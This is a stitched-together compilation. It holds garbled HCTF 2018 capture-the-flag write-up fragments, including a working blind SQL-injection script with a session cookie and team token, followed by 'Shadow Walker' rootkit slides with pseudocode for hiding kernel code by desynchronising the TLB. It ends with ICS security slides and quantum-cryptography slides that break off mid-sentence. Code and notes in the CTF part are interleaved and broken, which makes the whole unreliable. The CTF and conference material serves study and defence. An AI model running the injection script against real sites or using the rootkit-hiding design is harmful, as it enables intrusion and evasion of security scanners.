UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini NGINX_MAX_UPLOAD=0 UWSGI_PROCESSES=16 STATIC_URL=/static UWSGI_CHEAPER=2 NGINX_VERSION=1.13.12-1~stretch PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/b in NJS_VERSION=1.13.12.0.2.0-1~stretch LANG=C.UTF-8 SUPERVISOR_ENABLED=1 PYTHON_VERSION=3.6.6 NGINX_WORKER_PROCESSES=auto SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock SUPERVISOR_PROCESS_NAME=uwsgi LISTEN_PORT=80 STATIC_INDEX=0 PWD=/app/hard_t0_guess_n9f5a95b5ku9fg STATIC_PATH=/app/static PYTHONPATH=/app UWSGI_RELOADS=0 #encoding:utf-8 import requests import string import base64 import random def catch(num,str1): a=0 b=97 while(a<=b): mid=(a+b)/2 tmp =hex(mid)[2:] if len(tmp)==1: tmp="0"+tmp str2=str1+"%"+tmp print str2 usernew = ''.join(random.sample(string.ascii_letters + string.digits, 13)) url="http://game.2018.hctf.io/web2/action.php?action=reg" data = 'username=%s&password=%s&sex=1&submit=submit' % (usernew,str2) headers={"Content-Type": "application/x-www-form-urlencoded"} #data={"username":"admin'&&mid(password,%d,1)='%s'#" % (num,str),"password":"1"} #strings="aaaaaaaa' or mid(username,1,1)='a' and '1" #print url # r=requests.post(url,data=data,headers=headers,proxies= {"http":"127.0.0.1:8080"}) #print r.content #burp #r=requests.get(url,headers=header,proxies={"http":"127.0.0.1:8080"}) #print r.content sss = requests.get('http://game.2018.hctf.io/web2/user.php? order=password',headers= {"Cookie":"PHPSESSID=p9op1amllrobs6okqfkih2vr40"}).content index1= sss.index('<tr>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t1\n\t\t\t\t\t\t</td>\n\t\t\t\ t\t\t<td>\n\t\t\t\t\t\t\tadmin') print usernew index2=sss.index(usernew) print index1 print index2 if index1 > index2: b = mid -1 else: a = mid +1 tmp =hex(a-1)[2:] if len(tmp)==1: tmp="0"+tmp return "%"+tmp #print "##################################" # found=False Crypto xor game xor key length = 21 xor_is_interesting!@# rsa?xor 2048bit, 40bit Coppersmith’s short-pad attack http://inaz2 .hatenablog.com/entry/2016/01/20/022936 coppersmithflag BlockChain Re:Ethereum from zero -> first, you need connect my private ethereum blockchain, networkid is 111 -> second, use sha3.keccak_256(your token) as your ethereum private key, and you can calculate your ethereum account address -> third, if your account balance > 0, you can get flag1 -> use getflag2 to exec Smart contract getflag function and if you pass the function, I will give you flag2 -> finally, flag is: hctf{flag1+flag2} enode://e4bef62d1c7854093d5ceea236bd9c438c7d12a1ff86c0cf57c43a8cecda5f7a2ceef9c1397e 695fee3f128b2c6dca2a756ca569877e7b2c2f1f4cde5636d8a7 if __name__ == "__main__": #payloads = list(string.ascii_lowercase) #payloads.append("_;") payloads='!"#$%&\'()*+,-./:;<=>? @0123456789abcdefghijklmnopqrstuvwxyz[\\]^_`{|}~' #payloads = list('sysadmin:0123456789_abcdefghijklmnopqrstuvwxyz ,ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') user='%44%53%41%38%26%26%21%40%23%24%25' for i in range(1,100): user = user+catch(i,user) print "now user is "+user #catch(5,"dsa8<") hctf{this_idea_h1t_me_whil3 { "config": { "chainID": 111, "homesteadBlock": 0, "eip155Block": 0, "eip158Block": 0, "ByzantiumBlock": 0 }, ... "alloc": {}, "coinbase": "0x0000000000000000000000000000000000000000", "difficulty": "0x100", "extraData": "0x00", "gasLimit": "0x8fffff", "nonce": "0x111", "mixhash": "0x0000000000000000000000000000000000000000000000000000000000000000", "parentHash": "0x0000000000000000000000000000000000000000000000000000000000000000", "timestamp": "0x00" } Block with tx: 23 Block with tx: 49 Block with tx: 273 Block with tx: 4049 Block with tx: 4950 Block with tx: 5226 contract 1: 0x628187b11ef814fe75dc9d33c813961b71153afc (deployer contract) contract 2: 0xb85f83703528e121b62238703f347ed04e0ea3f8 (red herring) contract 3: 0x15ec709c5d749345a3bcfc36a5b6bb695aba51e4 (admin checker contract) contract 4: 0xba7178c7e8e2f29cbaec53a78bbe0f40ca01799f (wrong contract?) contract 5: 0xc3dac37d5d3000a7fa70b574167fed36a8330a35 (interactive) private key: In [2]: sha3.keccak_256("RVZhvB2OtdydtHAaHxdEeRcFzZlKIC9U").hexdigest() Out[2]: '2f176dc4fb0ed2d202861ea6e470ac5f115513985b3709cd742b28966c0a1adf' account: 0xff8f75ae42987918ab65669fb34981a2a4a71e4f [+] Opening connection to ethre.2018.hctf.io on port 2018: Done 2cd712 DGxt [*] Switching to interactive mode .hexdigest()[:6] == '000000' Please enter X: A. help B. get init file C. getflag1 D. getflag2 Please enter Your chioce:$ C Please enter your team token: $ RVZhvB2OtdydtHAaHxdEeRcFzZlKIC9U ez2win 0x71feca5f0ff0123a60ef2871ba6a6e5d289942ef for ropsten approve_transfer MISC freq game eazy dump vmware b1bec58c09bd82187fba86ca3f1275d4 Bye! So contract 1 should be a encrypted contract deployer, I need to find the other two deployed contracts. This contract is owner-only. contract 2 is user-interactable from pwn import * from scipy.fftpack import fft,ifft p = remote('150.109.119.46', 6775) p.recvuntil('to get hint:') p.sendline('y') p.recvuntil('token:') p.sendline('RVZhvB2OtdydtHAaHxdEeRcFzZlKIC9U') for i in xrange(8): data = p.recvuntil(']').strip() y = eval(data) yf = abs(fft(y)) ans = [] for i in xrange(255): if (yf[i] > 1000): print i, yf[i] ans.append(i) print ans p.sendline("%d %d %d %d" % (ans[0], ans[1], ans[2], ans[3])) p.interactive() https://www.jianshu.com/p/6438bc3302c8 volatility -f mem.data imageinfo Volatility Foundation Volatility Framework 2.4 Determining profile based on KDBG search... volatility -f mem.data --profile=Win2008R2SP0x64 printkey -K "SAM\Domains\Account\Users\Names" Volatility Foundation Volatility Framework 2.4 Legend: (S) = Stable (V) = Volatile Registry: \SystemRoot\System32\Config\SAM Key name: Names (S) Last updated: 2018-11-05 14:22:03 UTC+0000 Subkeys: (S) Administrator (S) Guest (S) veritas501 Values: REG_DWORD : (S) 0 volatility -f mem.data --profile=Win2008R2SP0x64 dump,memdump volatility -f mem.data memdump -p 'pid' -D '/path' dump GIMP Suggested Profile(s) : Win2008R2SP0x64, Win7SP1x64, Win7SP0x64, Win2008R2SP1x64 AS Layer1 : AMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (/root/Desktop/mem.data) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80004035070 Number of Processors : 4 Image Type (Service Pack) : 0 KPCR for CPU 0 : 0xfffff80004036d00L KPCR for CPU 1 : 0xfffff880009ee000L KPCR for CPU 2 : 0xfffff88004568000L KPCR for CPU 3 : 0xfffff880045dd000L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2018-11-07 08:26:52 UTC+0000 Image local date and time : 2018-11-07 16:26:52 +0800 Difficult programming language malbolge flag Q7 Flagtql Guess My Key bp D'`;M?!\mZ4j8hgSvt2bN);^]+7jiE3Ve0A@Q=|;)sxwYXtsl2pongOe+LKa'e^]\a`_X|V[Tx;"VO NSRQJn1MFKJCBfFE>&<`@9!=<5Y9y7654-,P0/o-,%I)ih&%$#z@xw|{ts9wvXWm3~ import requests import json import random # test = 'http://150.109.62.46:13577/enc?msg=' # for _ in xrange(96): # test += '1,' # test = test[:-1] # # g = r.json() # flag_en = g['raw_cipher'] # print(flag_en) def list2str(l): res = '' for i in l: res += str(i) + ',' return res[:-1] def calc(guess_en,flag_en): res = [] for i in xrange(96): res.append((guess_en[i]-flag_en[i])) return res def random_input(): res = [] for _ in xrange(96): res.append(random.randint(0,1)) return res def get_res(p,f=None): p = list2str(p) g_url = 'http://150.109.62.46:13577/enc?msg=%s&key=%s' p_url = 'http://150.109.62.46:13577/enc?msg=%s' if f is None: r = requests.get(p_url % p) else: f = list2str(f) r = requests.get(g_url % (p,f)) g = r.json() en = g['raw_cipher'] res = [] for _ in en.split(','): res.append(float(_)) return res def bp(s,guess_out,real_out,guess_flag): last = calc(guess_out,real_out) for i in xrange(96): guess_flag[i] -= last[i]*((guess_out[i]) * (1-guess_out[i])) #print(guess_flag) return guess_flag def cost(g,r): res = 0.0 for i in xrange(96): res+= ((g[i]-r[i])*(g[i]-r[i])) * 100 return res def toint(l): res = [] for i in l: t = round(i,1) if t >1: t = 1 if t < 0: t = 0 res.append(t) return res while True: guess_flag = [0] * 96 for i in xrange(96*20): s = random_input() ff = guess_flag[i%96] guess_out = get_res(s,guess_flag) t = guess_flag t[i%96] = abs(1-ff) guess_out2 = get_res(s,t) flag_en = get_res(s) c1 = cost(guess_out,flag_en) c2 = cost(guess_out2,flag_en) if c1 > c2: print(c2) guess_flag[i%96] = abs(1-ff) else: print(c1) guess_flag[i%96] = ff #guess_flag = bp(s,guess_out,flag_n,guess_flag) #guess_flag = toint(guess_flag) print(guess_flag)
pdf
““SHADOW WALKER SHADOW WALKER”” Raising The Bar For Rootkit Detection Raising The Bar For Rootkit Detection by Sherri Sparks & Jamie Butler What Is A Rootkit? What Is A Rootkit? • Defining characteristic is stealth. – Viruses reproduce, but rootkits hide! • Greg Hoglund, author of NT Rootkit defines a rootkit as “a set of programs which patch and trojan existing execution paths within the system”. What is a rootkit used for? What is a rootkit used for? • It is usually used by a hacker to conceal his / her presence on a compromised system and make it possible to return undetected at some later date. • Indirect overlap with parental control software and spyware. Rootkits & x86 Hardware Architecture: Rootkits & x86 Hardware Architecture: Pentium Protection Rings Pentium Protection Rings • Ring 0 – full access to all memory and the entire instruction set. – Kernel Rootkits • Ring 3 –restricted memory access and instruction set availability. – User Rootkits Rootkits & The Operating System Rootkits & The Operating System • The user / application view of the system is defined by what the OS provides to it via the API interface. • A rootkit hides by intercepting and altering communications at the interfaces between various OS components. • Rootkits are a form of “man in the middle attack”. OS Components Attacked By OS Components Attacked By Rootkits Rootkits • I/O Manager – Logging keystrokes or network activity • Device & File System Drivers – Hiding files • Object Manager – Hiding object (process / thread) handles. • Security Reference Monitor – Disable security policies governing runtime access checks on objects. • Process & Thread Manager – Hiding processes & threads • Configuration Manager – Hiding registry entries First Generation Rootkits First Generation Rootkits • Replaced / modified system files on the victim’s hard disk • Example: UNIX login program Second Generation Rootkits Second Generation Rootkits • Modify static OS components / structures loaded in memory. – Table based hooking approaches (IAT, EAT, SSDT, IDT) – Inline function hooking – Kernel and user mode rootkits Third Generation Rootkits Third Generation Rootkits • Modify dynamic OS objects loaded in memory. – Direct Kernel Object Manipulation (DKOM) • Example: FU Rootkit – Unlinks process objects from the Windows dynamically linked list of active process objects. – Kernel objects represent just about everything in the system (processes, threads, drivers, security tokens, ect.) so the possibilities are virtually unlimited. – Exclusively kernel mode rootkits. Process Hiding w/ DKOM Process Hiding w/ DKOM Current Rootkit Detection Current Rootkit Detection Methods Methods • Behavioral Detection • Integrity Detection • Signature Based Detection • Diff Based Detection Rootkit File System Rootkit File System Detection Detection • Signature Scanners – AV Products • Integrity Checkers – Tripwire • Diff Based Approach – Microsoft Strider GhostBuster – System Internals Rootkit Revealer – F-Secure Blacklight Behavioral Detection Behavioral Detection • Attempts to detect the effects of a rootkit on the victim system which means it may detect previously unknown rootkits. – Detecting diverted execution paths. • Deviations in executed instructions – PatchFinder by Joanna Rutkowska • Detecting Hooks – VICE by Jamie Butler – Detecting alterations in the number, order, and frequency of system calls. • May suffer from a high false positive rate. – Most end users don’t have the skill to screen out false positives. Integrity Checking Integrity Checking • Detects unauthorized changes to system files or to loaded OS components in memory. • Creates an initial baseline database containing their CRC values. • Periodically calculates and compares the CRC’s of these files against the initial trusted baseline. – Example: Tripwire • Files system integrity checks are ineffective against most modern rootkits which make their changes to memory rather than system files on the disk. Signature Based Detection Signature Based Detection • “Fingerprint Identification” – Searches memory or the file system for unique byte patterns (signatures) found in the rootkit’s code. – Tried N’ True Approach - Has been used by AV scanners for many years. – Highly accurate, but ineffective against unknown rootkit / malware variants (for which a signature does not exist) or deliberately obsfucated code. Motivations Motivations Shortcomings Of Current Rootkit Technology Shortcomings Of Current Rootkit Technology • The most advanced public kernel rootkits are sitting ducks for primitive signature scans and integrity checking techniques. – Large parts of rootkit drivers themselves sit in non paged memory leaving them vulnerable to simple signature scans of system memory. – Rootkit modifications to operating system components in memory give them away to memory integrity checkers heuristic checkers like VICE. – Need a method to hide the rootkit driver code and its modifications to kernel memory. Early Viruses Faced A Early Viruses Faced A Similar Problem Similar Problem • Viruses sought to hide their code from file system signature scanners. – Their solution: Polymorphism / Metamorphism – Attempts to vary the appearance of the viral code from one variant to another. • Functionally equivalent, but semantically different copies of the code. – Few rootkits have integrated viral polymorphic techniques. Introducing Shadow Walker Introducing Shadow Walker Prototype For A 4 Prototype For A 4th th Generation Rootkit? Generation Rootkit? • An alternative to viral polymorphism – Virtual Memory Subversion! • Proof of concept demonstration that a rootkit is capable of transparently controlling the contents of memory viewed by other applications and kernel drivers. • Minimal performance impact ! Implications Of Virtual Implications Of Virtual Memory Subversion Memory Subversion • In-memory security scanners rely upon the integrity of their view of memory even if they don’t rely upon Operating System API’s (which may potentially be hooked). • If we can control a scanner’s memory reads we can fool signature scanners and potentially make a known rootkit, virus, or worm’s code immune to in-memory signature scans! • We can also fool integrity checkers and other heuristic scanners which rely upon their ability to detect modifications to code (i.e. VICE). Review Review • Windows virtual address space layout • Virtual Memory – Paging vs. Segmentation – Page Tables & PTE’s – Virtual To Physical Address Translation – The Role Of The Page Fault Handler – The Paging Performance Problem & the Translation Lookaside Buffer – Memory Access Types Windows Virtual Address Windows Virtual Address Space Layouts Space Layouts Application code Global variables Per-thread stacks DLL code Ntoskrnl HAL Boot drivers Process page tables System cache Paged pool Nonpaged pool 0xFFFFFFFF 0xc0800000 0x80000000 0x7FFFFFFF 0x00000000 System Space User Space 3-GB User space 1-GB System space 0xFFFFFFFF 0xC0000000 0xBFFFFFFF 0x00000000 Virtual Memory Virtual Memory • Separate virtual and physical address spaces. • Virtual & physical address spaces are managed by dividing them into fixed size blocks. – Paging: All blocks are the same size. – Segmentation: Blocks may be different sizes. • The OS handles virtual physical block mappings. • Virtual address space may be larger than physical address space. • Virtually contiguous memory blocks do not have to be physically contiguous. Virtual To Physical Memory Virtual To Physical Memory Mapping (Paging) Mapping (Paging) Physical Address Space Virtual Address Space Page 1 Page 2 Page 3 Page 24 Page n Frame 1 Frame 2 Frame n • Paging - virtual and physical memory address spaces are divided into same size blocks. – Virtual blocks known as “pages”. – Physical blocks known as “frames”. – Virtually contiguous blocks are not necessarily physically contiguous! X86 PTE Format X86 PTE Format • Virtual to physical mapping information is kept in page tables in structures called PTE’s. Reserved Reserved Reserved Global Reserved (large page if PDE) Dirty Accessed Cache disabled Write through Owner Write Valid Page frame # U P Cw Gl L D A Cd Wt O W V 0 1 2 3 4 5 6 7 8 9 12 11 10 31 The Big Picture The Big Picture Physical Frame 0xFFFFFFFF 0xc0800000 0x80000000 0x7FFFFFFF 0x00000000 Virtual Memory Application code Global variables Per thread stacks DLLs Ntoskrnl HAL Paged Pool Nonpaged Pool Process Page Tables Virtual Pages Virtual Pages Page Table Entries Physical Memory X86 Virtual Address X86 Virtual Address • Virtual addresses form indexes into page tables. • Page tables may be single or multi-level. • X86 uses a 2 level page table structure w/ support for 4K and 4MB sized pages. Page directory index Page table index Byte index Virtual Page Number 10 bits 10 bits 12 bits 31 0 (LSB) X86 Virtual To Physical X86 Virtual To Physical Address Translation Address Translation Page Table Page Table Index Byte Index Physical Memory Virtual Address Page Directory Index Page Directory KPROCESS CR3 PFN PFN Page Frame Physical address (1 per process) (up to 512 per process) Page Faults Page Faults • Because physical memory may be smaller than the virtual address space, the OS may move less recently used pages to disk (the pagefile) to satisfy current memory demands. • A page fault occurs on: – An attempted access to a virtual address whose PTE is marked not present and whose translation is not cached in the TLB. – Memory protection violations. • User mode code attempting to write to a kernel mode memory. • An attempt to write to memory marked as read-only. Page Fault Path Page Fault Path Memory Access 27 (Invalid) Page Table Physical Memory Page Directory VPN=12, Frame =132 PRESENT VPN =12, Frame = 13 PRESENT Frame 0 Frame 122 Frame 27 Frame 13 Frame 3 Page Fault Handler Frame 132 VPN=12, Frame=27 FAULT VPN =12, Frame=27 NOT PRESENT Disk (Page File) The Paging Performance The Paging Performance Problem Problem • Virtual memory incurs a steep performance hit! • 2 level page table scheme like x86: – Best Case: 3 memory accesses per reference! (page dir + page table + offset) – Worst Case: 3 memory accesses + 2 disk I/O requests per memory reference! (page dir + I/O + page table + I/O + offset) • Solution: Translation Lookaside Buffer (TLB) – The TLB is a high speed hardware cache of frequently used virtual to physical mappings (PTE’s). Translation Lookaside Buffer Translation Lookaside Buffer • On memory access, TLB is searched first for the virtual to physical translation! • High speed associative memory – “Hit” translation was found in the TLB – “Miss” translation was not found in the TLB • X86 Uses Split TLB architecture – ITLB: holds virtual to physical translations for code – DTLB: holds virtual to physical translations for data • Modern TLB’s have extremely high “hit” rates and seldom incur the performance hit of a page table walk. Translation Lookaside Buffer Translation Lookaside Buffer (TLB) (TLB) Virtual Page Number = 17 . . . . Virtual Page 5 Virtual Page 64 Virtual Page 17 Virtual Page 6 Virtual Page 7 Virtual Page 65 Page Frame 100 Invalid Page Frame 84 Page Frame 100 Page Frame 844 Invalid Virtual Address TLB Associative Memory (Simultaneous read and compare) tag data Memory Access Path Memory Access Path w/ TLB (Hit) w/ TLB (Hit) Memory Access (Code, VPN=12) ITLB DTLB Physical Memory Frame 132 Page Table / Page Dir 27 (Invalid) FAULT 27 (Invalid) Is it a code access? Is it a data access? VPN = 12, Frame = 132 VPN = 12, Frame = 132 Frame 0 Frame 122 Frame 27 Frame 13 Frame 3 Disk (Page File) Memory Access Path Memory Access Path (TLB Miss w/ Page Fault) (TLB Miss w/ Page Fault) Memory Access (Code, VPN=25) ITLB DTLB Physical Memory Frame 132 Page Table / Page Dir VPN = 25, Frame = 13 (PRESENT) Frame 0 Frame 122 Frame 27 Frame 13 Frame 3 Is it a code access? Is it a data access? MISS VPN = 25, Frame = 13 (NOT PRESENT) VPN = 25, Frame = 13 FAULT Page Fault Handler Disk (Page File) Memory Access Types Memory Access Types • Basic memory access types: – Read – Write – Execute • Under IA-32, execute access is implied: – Read / Execute – Read / Write / Execute NX? NX? (Execute Only Memory) (Execute Only Memory) • For some applications it is advantageous to be able to differentiate between read / write and execute accesses. – Buffer Overflow Protection • IA-32 does not provide hardware support for execute- only memory – PaX Read / Write / No Execute memory semantics on the IA- 32 with software support – Side Note: Hardware support for NX (Execute-Only) memory has been added to some processors including AMD 64 processors, some AMD sempron processors, IA-64, and Intel Pentium 4. – Windows XP SP2 and Windows Server 2003 SP1 added OS software support for NX. Hiding Executable Code Hiding Executable Code • We take an offensive spin on the defensive PaX technology. • We want to hide code, therefore we also want to differentiate between read / write and execute accesses to the hidden code. – Read accesses of the code section of a rootkit driver may indicate presence of a scanner. – Nearly the inverse of PaX: Software implementation of Execute / Diverted Read- Write semantics. Implementation Issues Implementation Issues • We need a way to filter execute and read / write accesses. • We need a way to “fake” the read / write memory accesses when we detect them. • We need to ensure that performance is not adversely affected. Differentiating Between Differentiating Between Execute and Read / Write Execute and Read / Write • We can trap memory accesses by marking their PTE’s “non present” and hooking the page fault handler. • In the page fault handler, we have access to the saved instruction pointer and the faulting address. – If instruction pointer == faulting address, then it is an execute access! Otherwise, it is a read/write. • We also need to differentiate between page faults due to the memory hook and normal page faults. – Pages must be nonpaged memory. – Pages must be locked down in memory. Faking Read / Writes By Faking Read / Writes By Exploiting The Split TLB (1) Exploiting The Split TLB (1) • Normal Synchronized ITLB and DTLB translate code and data memory accesses to the same physical frame. Memory Access (VPN=12) ITLB DTLB Frame 2 Page Table / Page Dir 27 (Invalid) FAULT 27 (Invalid) Is it a code access? Is it a data access? VPN = 12, Frame = 2 VPN = 12, Frame = 2 Frame 8 Frame 52 Faking Read / Writes By Faking Read / Writes By Exploiting The Split TLB (2) Exploiting The Split TLB (2) • Desynchronized ITLB and DTLB translate code and data memory accesses to different physical frames. Memory Access (VPN=12) ITLB DTLB Frame 2 Page Table / Page Dir 27 (Invalid) FAULT 27 (Invalid) Is it a code access? Is it a data access? VPN = 12, Frame = 52 VPN = 12, Frame = 2 Frame 8 Frame 52 rootkit code random garbage Software TLB Control Software TLB Control • Reloading cr3 causes all TLB entries except global entries to be flushed. This typically occurs on a context switch. • The invlpg causes a specific TLB entry to be flushed. • Executing a data access instruction causes the DTLB to be loaded with the mapping for the data page that was accessed. • Executing a call causes the ITLB to be loaded with the mapping for the page containing the code executed in response to the call. Shadow Walker Components Shadow Walker Components • Memory Hook Engine – Hook Installation Module – Custom Page Fault Handler • Modified FU Rootkit Memory Hook Installation Memory Hook Installation • Install new PF handler (Int 0E). • Insert page into global hash table of hooked pages for quick lookup in PF handler. • Mark page not present. • Flush the TLB to ensure that we trap all subsequent memory accesses in the PF handler. Custom Page Fault Handler Custom Page Fault Handler • Primary task is to filter read / write and execute accesses for hooked pages. – Passes down faults on unhooked pages to the OS page fault handler. – Manually loads ITLB on execute access to hooked page. – Manually loads DTLB on data access to hooked page. • Most memory references will be resolved via the TLB path and will not generate page faults. • Page faults on hooked pages will occur: – On the first execute and data accesses to the page. – On TLB cache line evictions of a hooked mapping. – On explicit TLB flush (i.e. context switch). PF Handler Pseudocode PF Handler Pseudocode • Pseudocode for enforcing execute diverted read / write semantics on kernel pages. Page Fault Handler: if( ProcessorMode == USER_MODE ) jmp PassDownToOs if( FaultingAddress == USER_PAGE ) jmp PassDownToOs //faulting address is from a hidden page if( FaultingAddress == HIDDEN_PAGE) { if(FaultingAddress == EIP) jmp LoadItlb //execute access else jmp LoadDtlb } else jmp PassDownToOs Load Itlb: ReplaceFrame(PTE.FaultingAddress) PTE.FaultingAddress == PRESENT CallIntoHiddenPage //load ITLB PTE.FaultingAddress == NOT PRESENT ReplaceFrame(old_PTE.FaultingAddress) jmp ReturnWithoutPassdownToOs Load Dtlb PTE.FaultingAddress == PRESENT ReadFaultingAddress //load DTLB PTE.FaultingAddress == NOT PRESENT jmp ReturnWithoutPassdownToOs What About Data Hiding What About Data Hiding • Less optimal – DTLB must be kept empty of hidden page mapping. – One page fault per data access to hidden page. • For memory access to go through, data accesses must be filtered in PF handler and the DTLB must be loaded w/ the correct mapping. • Memory hook must maintain control (i.e. DTLB must be flushed after access). – Protocol based approach between driver and PF handler. – Debugging approach (i.e. single step). Modified FU Rootkit Modified FU Rootkit • Proof of concept rootkit hidden by our memory hook engine. • Runs as a system thread and regularly scans the active process list looking for processes named _fu_ and unlinks them. • No dependence on userland initialization. – No symbolic link – No functional device • In memory rootkit – Could be installed from a kernel exploit to avoid disk detection. Impact On System Impact On System Performance Performance • Modern TLB’s have extremely high “hit” rates. • Therefore, most translations on our “hidden pages” will go through the TLB path rather than the slower page fault path. • Using the memory hook engine to hide a rootkit driver’s code has no subjectively noticeable impact on overall system performance! Known Limitations Known Limitations • No PAE Support • No Hyperthreading / Multiprocessor Support • Currently hides only 4K sized kernel pages (i.e. system space / upper 2 GB of the virtual address space). Detection Detection • Non present pages in non paged memory range are abnormal! • The PF handler code itself cannot be concealed using this technique since we cannot mark the page containing the PF handler non present (must use polymorphic solution). • Difficult to conceal IDT hooks (i.e. PF handler). • Cannot protect against remapping. – Virtual memory scans are inadequate! – More advanced scanners should be based upon remapping of the physical address space. – Hardware memory scanners. Yin and Yang Yin and Yang • Beyond the offensive rootkit, there are defensive applications – IDS, AV, Firewall Drivers • Rootkits and other malicious software often compromise security software via in memory patching. • Execute / Diverted Read-Write semantics can be used to provide light weight code integrity. – Malicious read / write accesses to a security driver’s code section can be deflected to a separate “shadow” page frame where they would have no effect! DEMO DEMO References / References / Acknowledgements Acknowledgements • The PaX Project • Halvar Flake • Joanna Rutkowska • A generic attack on checksumming-based software tamper resistance by Glenn Wurster P.C. van Oorschot, and Anil Somayaji – Concurrent, related work on memory subversion.
pdf
Aaron Bayles DC101 @ DEF CON 22 19 years in IT/Infosec Worked in Oil & Gas (O&G) last 8 years Along the way Penetration testing Vulnerability assessment Network architecture, design & implementation Risk assessment Legacy equipment/comms Remote (geographic) connectivity Long lifecycle Power/space is a premium Life safety can be dependent The demands placed on Industrial Control Systems (ICS) & SCADA networks don’t match up with security requirements Understand your network & data flows Does not require expert knowledge Start with the basics Some concepts for enterprise IT can be used, with modification Build relationships between enterprise IT and industrial IT Network segmentation Portable media control Configuration management Disaster recovery (DR) planning Workforce development/training Although these may be similar, significant differences exist Formally the Purdue Enterprise Reference Architecture (PERA) Widely accepted within ICS industry Compatible with multiple standards, ISA95, ISA99, and IEC 62443 Works with zone & conduit concepts Represented by Layers 0/1-5 Starting point for ICS network segregation Traffic within same zone is allowed Traffic passing between zones via conduits are controlled Layer 2 (L2) can SET/CHANGE values on L1 L3 can only READ values from L2 & L1 Control points also allow for reporting ICS applications often misbehave OPC (Object Linking and Embedding for Process Control) uses MS DCOM They don’t always communicate statefully Protocols have been subverted MODBUS DNP3 Some vendors have started to adapt to ICS Tofino (C1D2, DIN rail mount) Palo Alto (Rack mount only for now) Do not install in blocking mode without extensive testing & tuning USB & removable media control Anti-virus/anti-malware Application whitelisting Patch management for EWS & servers Corporate IT has these systems, BUT ICS cannot patch as frequently Application & OS security models differ Dependent on directory services (AD) Build your own! Like enterprise IT, ICS requires remote support and maintenance There have been breaches from this Telvent Target Vendors often will not recommend a security architecture Build your own! Incident response requires DATA Centralized logging Traffic analysis Logstash, elasticsearch, and cacti Restoring PLC programming or device configs can be difficult Specialized ICS Configuration Management software exists MDT AutoSave Siemens TeamCenter Specific ICS security trainings & certifications are uncommon SANS/GIAC Idaho National Laboratory (INL) 3rd Party Training Offered by consulting/services companies Blends Infosec with ICS sensitivities Targeted for existing IT skillsets For some, DR is simply considered as having equipment spares on site Ability to rapidly restore services may not be planned Business impact analysis is key Updated lists of vital assets and personnel must be maintained My presentation from last year http://evul.procfail.net/dc21/og- infosec-101.pdf Co-workers’ presentation from BH ’13 https://media.blackhat.com/us-13/US- 13-Forner-Out-of-Control- Demonstrating-SCADA-Slides.pdf Latest copy of these slides at http://evul.procfail.net/dc22/protecting -scada-101.pdf [email protected] @AlxRogan Visit the ICS Village, lots to explore and learn! Telvent breach - http://krebsonsecurity.com/2012/09/chinese-hackers- blamed-for-intrusion-at-energy-industry-giant-telvent/ MDT AutoSave - http://www.mdt- software.com/Products/AutoSaveFeatures.html Siemens TeamCenter - http://www.plm.automation.siemens.com/en_us/products/te amcenter/ Logstash & Elasticsearch – Log aggregation, searching, and visualization http://www.elasticsearch.org/overview/ Cacti – Network statistics (and much more) graphing – http://cacti.net DNP3 - http://www.digitalbond.com/blog/2013/10/16/why- crain-sistrunk-vulns-are-a-big-deal/
pdf
www.quintessencelabs.com Are Quantum Computers Really A Threat To Cryptography? A Practical Overview Of Current State-Of-The-Art Techniques With Some Interesting Surprises ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Cryptography & Malware Researcher at TrustDefender • CTO @ ThreatMetrix • Quantum Technologies @ Qlabs – http://www.quintessencelabs.com About me 2 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Symmetric cryptosystem (shared secred key) – The same key (the secret key) is used to encrypt and decrypt the message – Examples: AES • Asymmetric cryptosystem (public & private key) – Use a public key to encrypt a message and a private key to decrypt it – Examples: RSA, ECC Cryptography 3 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Virtually all current cryptosystems are “computationally secure” – Not decodable with available computing power, but no proof that you can’t break them – To factor a 2048-bit RSA key, the best classical algorithm needs ~ 1034 steps and ~317 trillion years on a classical ThZ Computer (with a trillion operations per second): • There are information-theoretic cryptosystems (e.g. One-Time-Pad) – However to enjoy the benefits of the proof, many assumptions must be met • E.g. secret key is truly random. Secret key has the same length as the message, … ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Symmetric encryption (e.g. AES, 𝑁 = 256) – Key can be recovered classically with a computational complexity of 𝑂 2𝑁 – Best quantum algorithm (Grover) provides “only” a squared speedup of 𝑂 2𝑁 – While this is still a massive speedup, doubling the keylength will compensate for this • Asymmetric encryption (e.g. RSA, ECC) – Used virtually everywhere to negotiate a symmetric key (e.g. VPN’s, TLS, Diffie- Hellman, Digital Signatures, …) – Multiple quantum algorithms available – Focus for this talk Quantum Attacks on Cryptosystems 5 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Symmetric encryption (e.g. AES, N=256) – Key can be recovered classically with a computational complexity of 𝑂 2𝑁 – Best quantum algorithm (Grover) provides “only” a squared speedup of 𝑂 2𝑁 – While this is still a massive speedup, doubling the keylength will compensate for this • Asymmetric encryption (e.g. RSA, ECC) – Used virtually everywhere to negotiate a symmetric key (e.g. VPN’s, TLS, Diffie- Hellman, Digital Signatures, …) – Multiple quantum algorithms available – Focus for this talk Quantum Attacks on Cryptosystems 6 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Alice chooses two distinct prime numbers 𝑝, 𝑞 which are kept secret • Key generation – Compute 𝑛 = 𝑝𝑞 – Compute 𝜆 𝑛 = lcm(𝜆 𝑝 , 𝜆 𝑞 ) – Choose e such that 1 < ⅇ < 𝜆 𝑛 and gcd(ⅇ, 𝜆 𝑛 ) = 1, meaning ⅇ, 𝜆 𝑛 are co- prime – 𝑛, ⅇ is released as the public key – Calculate 𝑑 = ⅇ−1 (mod 𝜆 𝑛 ) – 𝑑 is the private key RSA encryption – How it works 7 ©2018 QuintessenceLabs. All rights reserved. Commercial in Confidence. Data Uncompromised • Bob encrypts a message M with Alice’s public key (n,e) – Turn M into integer m (the padded plaintext), 0 ≤ 